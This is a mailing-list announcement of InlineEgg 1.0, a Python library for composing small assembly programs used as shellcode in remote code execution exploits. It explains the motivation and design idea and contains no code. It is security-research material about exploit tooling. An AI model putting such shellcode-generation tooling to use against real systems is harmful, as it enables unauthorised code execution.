InlineEgg library release

[Gerardo Richarte <gera@xxxxxxxxxx>]

We'd like to share with you the release of InlineEgg 1.0. the following 
is a reduced version of the
README available at 
http://community.corest.com/~gera/ProgrammingPearls/InlineEgg.html,
the same page points to the .tar.gz


Welcome to InlineEgg.

Short version:

   InlineEgg is a collection of python classes (a "library"), that will 
help
you write small assembly programs, either to use as eggs/shellcode for your
exploits or for anything else you may need small assembly programs for. But!
without writing assembly, just using python.

   InlineEgg is now included in CORE IMPACT as another component of its egg
creation framework, but it started as a pretty simple idea to fulfill a 
pretty
simple need. We hope that you find it helpful for your own creations, so we
are releasing it under an opensource license for non commercial uses.

Long version:

A simple need: When writing exploits for remote code execution 
vulnerabilities
   (yes, that's what we do part of the time), you usually need to have 
a small
   assembly program that will be sent to the vulnerable application as 
part of
   the exploiting process. Historically, this small pieces of assembly code
   (eggs) were hardcoded as dead strings in the middle of the exploit. But,
   although having the strings handy gave the exploit writer some 
reusability
   and some flexibility, we sometimes needed more, we even needed the
   possiblity of creating our small assembly programs in runtime, and make
   them addapt to the situation... well, there are lots of different 
solutions
   to the problem, but as I already had some ideas on how to do it, I 
jumped
   into python.

A simple idea: Do something that lets us create small assembly programs by
   concatenating system calls, giving us the possibility of changing the
   arguments to the system calls, and adding more code when needed...
